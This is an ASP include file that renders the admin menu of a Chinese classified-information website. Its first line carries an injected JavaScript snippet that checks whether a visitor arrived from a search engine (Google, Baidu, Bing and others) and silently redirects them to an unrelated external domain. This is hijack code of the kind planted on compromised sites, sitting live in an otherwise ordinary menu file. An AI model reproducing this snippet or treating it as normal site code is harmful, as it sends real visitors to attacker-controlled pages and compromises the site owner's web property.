d:\wwwroot\wuchunhua\admin\dir.inc.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
002:
<%
003:
'//预定义
004:
dim menu(7,9),j,tmpmenu,menuname,menurl
005:
006:
menu(0,0)="新闻管理"
007:
menu(0,1)="<a href=addad_news.asp target=mainFrame>发布新闻</a> | <a href=list_news.asp target=mainFrame>管理新闻</a>"
008:
menu(0,2)="<a href=message_news.asp target=mainFrame>留言管理</a> | <a href=news_type.asp target=mainFrame>新闻类别</a>"
009:
menu(0,3)="<a href=shengchen.asp?type=news onClick=""return confirm('确定要批量生成新闻信息吗？\n\n该操作不可恢复！')"" target=mainFrame>[批量生成新闻信息]</a>"
010:
011:
menu(1,0)="信息管理"
012:
menu(1,1)="<a href=addad.asp target=mainFrame>发布信息</a> | <a href=nopass.asp target=mainFrame>未审信息</a>"
013:
menu(1,2)="<a href=list.asp target=mainFrame>全部信息</a> | <a href=shouye.asp target=mainFrame>首页显示</a>"
014:
menu(1,3)="<a href=fufeiad.asp target=mainFrame>付费信息</a> | <a href=gudingad.asp target=mainFrame>固顶信息</a>"
015:
menu(1,4)="<a href=hot.asp target=mainFrame>热点信息</a> | <a href=shixiaoad.asp target=mainFrame>过期信息</a>"
016:
menu(1,5)="<a href=delshixiaoad.asp onClick=""return confirm('确定要删除过期信息吗？\n\n该操作不可恢复！')"" target=mainFrame>[一键删除过期信息]</a>"
017:
menu(1,6)="<a href=shengchen.asp?type=show onClick=""return confirm('确定要批量生成HTML信息吗？\n\n该操作不可恢复！')"" target=mainFrame>[批量生成HTML信息]</a>"
018:
019:
menu(2,0)="会员管理"
020:
menu(2,1)="<a href=listuser.asp target=mainFrame>会员管理</a> | <a href=message.asp target=mainFrame>留言管理</a>"
021:
menu(2,2)="<a href=zn_message.asp target=mainFrame>站内消息</a> | <a href=send_zn_message.asp target=mainFrame>发送消息</a>"
022:
023:
menu(3,0)="分类管理"
024:
menu(3,1)="<a href=typeedit.asp target=mainFrame>分类管理</a> | <a href=cityedit.asp target=mainFrame>地区分类</a>"
025:
026:
menu(4,0)="综合管理"
027:
menu(4,1)="<a href=ad.asp target=mainFrame>广告管理</a> | <a href=../gbook.asp target=mainFrame>反馈管理</a>"
028:
menu(4,2)="<a href=link.asp target=mainFrame>文字链接</a> | <a href=link_img.asp target=mainFrame>图片链接</a>"
029:
menu(4,3)="<a href=bm.asp target=mainFrame>便民服务</a>"
030:
031:
menu(5,0)="系统管理"
032:
menu(5,1)="<a href=pass.asp target=mainFrame>超级用户</a> | <a href=sysset.asp target=mainFrame>系统设置</a>"
033:
menu(5,2)="<a href=../SpaceSize.asp target=mainFrame>空间占用</a> | <a href=UploadFileManage.asp target=mainFrame>文件管理</a>"
034:
menu(5,3)="<a href=check.asp target=mainFrame>ASP 探针 | </a>"
035:
menu(5,4)="<a href=delpic.asp target=mainFrame>一键删除无用上传图片</a>"
036:
menu(5,5)="<a href=data.asp target=mainFrame>备份/恢复/压缩数据库</a>"
037:
038:
menu(6,0)="版权信息"
039:
menu(6,1)="<font face=Arial, Helvetica, sans-serif><b>当前版本：</font></b>V4.4 Access"
040:
menu(6,2)="<font face=Arial, Helvetica, sans-serif><b>copy：</font></b>中国分类信息网"
041:
menu(6,3)="<a href=http://www.6900.net target=mainFrame><font face=Arial, Helvetica, sans-serif><b>海洋城市设计工作室</b></font></a>"
042:
043:
menu(7,0)="分站管理"
044:
menu(7,1)="<a href=../cityadmin/login.asp target=_blank>地区分站登陆管理</a>"
045:
sub showMenu()
046:
dim menuStr
047:
for i=0 to ubound(menu,1)
048:
menuStr = "<br><table cellpadding=0 cellspacing=0 width=158>"&_
049:
"<tr>"&_
050:
"<td height=25 class=menu_title onmouseover='this.className=""menu_title2""' onmouseout='this.className=""menu_title"";' background=images/admin_left_"&(i+1)&".gif id=menuTitle1 onclick=showsubmenu("&i&")>"&_
051:
"<span>"&menu(i,0)&"</span>"&_
052:
"</td>"&_
053:
"</tr>"&_
054:
"<tr>"&_
055:
"<td style='display:' id='submenu"&i&"'>"&_
056:
"<div class=sec_menu style='width:158'>"&_
057:
"<table cellpadding=0 cellspacing=0 align=center width=135 ID=Table1>"
058:
059:
for j=1 to ubound(menu,2)
060:
if isempty(menu(i,j)) then exit for
061:
menuStr = menuStr&"<tr><td height=20>"&menu(i,j)&"</td></tr>"
062:
next
063:
064:
menuStr = menuStr&"</table>"&_
065:
"</div>"&_
066:
"</td>"&_
067:
"</tr>"&_
068:
"</table>"
069:
070:
Response.Write menuStr
071:
next
072:
end sub
073:
%
>
074:
075:
076: